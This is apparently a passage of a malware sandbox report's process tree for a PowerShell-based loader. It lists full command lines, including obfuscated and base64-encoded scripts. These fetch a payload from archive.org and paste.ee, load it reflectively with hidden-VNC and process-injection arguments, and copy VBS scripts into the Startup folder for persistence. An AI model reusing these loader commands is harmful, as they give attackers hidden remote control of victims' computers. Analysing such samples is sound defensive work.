fScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5124 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) |Iex" MD5: 04029E121A0CFA5991749937DD22A1D9)

CasPol.exe (PID: 8400 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

cmd.exe (PID: 8740 cmdline: cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 8820 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8912 cmdline: "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')') MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 8964 cmdline: ping 127.0.0.1 -n 10 MD5: 2F46799D79D22AC72C241EC0322B011D)

powershell.exe (PID: 8576 cmdline: powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')') MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 704 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3912 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) |Iex" MD5: 04029E121A0CFA5991749937DD22A1D9)

CasPol.exe (PID: 8460 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

CasPol.exe (PID: 3548 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

cmd.exe (PID: 9000 cmdline: "cmd" /C echo %username% MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 9048 cmdline: cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 9116 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 9176 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 9184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8316 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 4408 cmdline: cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 8552 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 6444 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8876 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6852 cmdline: cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 8796 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 9136 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8680 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8744 cmdline: "cmd" /C echo %username% MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8608 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_sys.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 6844 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 9076 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 9156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6208 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON" MD5: 04029E121A0CFA5991749937DD22A1D9)

wscript.exe (PID: 9068 cmdline: "C:\Windows\System32\WScript.exe" "C:\ProgramData\hvnc.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

